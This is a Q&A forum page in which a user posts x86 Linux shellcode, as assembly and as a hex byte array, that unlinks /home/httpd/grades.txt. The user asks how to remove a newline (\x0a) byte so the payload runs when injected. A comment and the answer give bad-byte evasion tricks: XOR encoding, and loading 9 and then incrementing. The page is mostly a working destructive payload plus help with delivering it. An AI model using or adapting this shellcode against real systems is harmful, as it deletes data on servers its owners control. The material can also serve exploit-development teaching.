2

I have written a shellcode to unlink a file from the system, but when I extracted the hexcode off the binary file, it consists of \x0a byte, because the sys call number for unlink function is 10, so it is essentially being treated as new line character while I excecute my hex code. Therefore, restricting rest of the code from excecuting.

My shell is (shellcode.S):

#include 

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define CODE 0x05

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

        addb    %ecx,5
        movb    $ecx,%al                /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING

The hex code for bin file of shellcode is:

char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3"
                   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff"
                   "\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70"
                   "\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"

So, please suggest some method to eliminate, this with the same functioning of shellcode.

Thanks for help!

Improve this question
1
  • Don't see where unlink() is called in your shellcode but I think I managed around a similar issue before by storing the offending value with every bit flipped, and then performing an xor with 0xff.
    – dreamist
    Commented Mar 21, 2017 at 13:36

1 Answer 1

Reset to default
1

You can break 10 as 9 + 1 or any other combination to avoid 10

For this, you can do something like:

movb $0x9, %al
inc %al

where,

  • movb $0x9, %al will move 9 to al register
  • inc %al will increment the content of al by one

This will help you avoid \x0a in your shellcode.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .